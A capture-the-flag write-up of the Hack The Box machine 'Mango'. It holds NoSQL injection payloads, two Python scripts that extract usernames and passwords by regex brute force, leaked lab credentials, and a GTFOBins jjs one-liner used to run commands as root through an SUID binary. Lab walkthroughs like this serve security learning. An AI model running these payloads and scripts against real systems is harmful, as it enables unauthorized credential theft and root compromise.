HTB Writeup - Mango
Mango is rated as a medium difficulty linux machine. This machine is hosting a webserver vulnerable to NoSQL injection, allowing attackers to leak credentials that can be used to successfully login via SSH. For privilege escalation, a scripting tool with SUID enabled can be used by attackers to execute shell commands as root.
Recon
A quick masscan + nmap scan gives us the following info:
There are 3 open ports, 22, 80 and 443
. Credentials are needed for SSH access so let’s proceed checking up port 80
and port 443
.
Webserver
Hitting up port 80 gives us a 403 Forbidden
response.
Adding mango.htb
to /etc/hosts
gives us the same response.
Enumerating port 80
’s directories also gave nothing.
Skipping to port 443
, accessing the port leads us to this webpage.
Enumerating port 443
’s directories and pages only led to this page.
It seems that https://mango.htb
or https://10.10.10.162
leads to nothing.
Going back to our nmap scan gives us a subdomain worth investigating.
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Adding staging-order.mango.htb
to /etc/hosts
gives us a new webpage - Sweet & Juicy Mango
login page.
NoSQL Injection
After manually testing a lot of SQLi payloads, it seems that the login page is not vulnerable to SQLi. After wasting a lot of time in the rabbit hole, I realized that there might be a reason why this machine is named Mango
.
Mango
-> Mongo
-> MongoDB
-> NoSQL injection
After trying different NoSQL payloads from PayloadAllTheThings, I got an HTTP/1.1 302 Found
response with this payload.
username[$ne]=admin&password[$ne]=admin&login=login
We can extract information using this payload template:
username[$regex]=^(insert character guess here)&password[$ne]=test&login=login
The payload means that the server will return a 302 response
if the user value starts with the right character/s.
Automating this attack with a script makes it easier to leak the information we need.
import requests
import string
url = 'http://staging-order.mango.htb/'
user = ''
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
data = {'username[$regex]': '^{}'.format(user + c),
'password[$ne]': 'abc',
'login': 'login'
}
print('Trying: {}'.format(user + c))
print('Current user: {}'.format(user))
r = requests.post(url, data=data, allow_redirects=False)
if r.status_code == 302:
# additional check to break the script
if c == '$':
print('Leaked user: {}'.format(user))
exit()
user += c
print(user)
Running this script gives us two users, admin
and mango
.
Note: Edited the script to skip admin user
After extracting the users, we need to edit the payload to extract passwords.
This will be the new payload template for password extraction.
username=admin&password[$regex]=^(insert password guess here)&login=login
This script can be used to extract the password for each user:
import requests
import string
url = 'http://staging-order.mango.htb/'
password = ''
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
data = {'username[$eq]': 'mango',
'password[$regex]': '^{}'.format(password+c),
'login': 'login'
}
print('Trying: {}'.format(password + c))
print('Current pw: {}'.format(password))
r = requests.post(url, data=data, allow_redirects=False)
if r.status_code == 302:
if c == '$':
print('Leaked password: {}'.format(password))
exit()
password += c
print(password)
User admin
password leak:
User mango
password leak:
Leaked credentials:
admin : t9KcS3>!0B#2
mango : h3mXK8RhU~f{]f5H
The credentials for mango user worked on SSH login.
After checking the files of mango
, the file user.txt
does not exist in the home directory. It seems that we still need to check for another user.
PrivEsc to Admin
Upon checking the list of users on /etc/passwd
, we can see that there is another user named admin
.
We can try to use the leaked credentials (admin : t9KcS3>!0B#2
) for this user.
Successfully pivoted to admin
user.
PrivEsc to Root
Executing LinEnum.sh shows us that there is an SUID binary that can be exploited.
A quick google search about exploiting jjs
leads us to another GTFObins page.
According to GTFObins, we can execute system commands inside jjs
with a one-liner command:
Java.type('java.lang.Runtime').getRuntime().exec('<insert commands here>').waitFor()
Since jjs
is SUID enabled, we can execute commands as root
. We can try to write an SSH public key
to /root/.ssh/authorized_keys
and login via SSH using our private key.
Overwriting /root/.ssh/authorized_keys
by downloading our public key using wget
.
Successfully logged in as root
using our private key.
–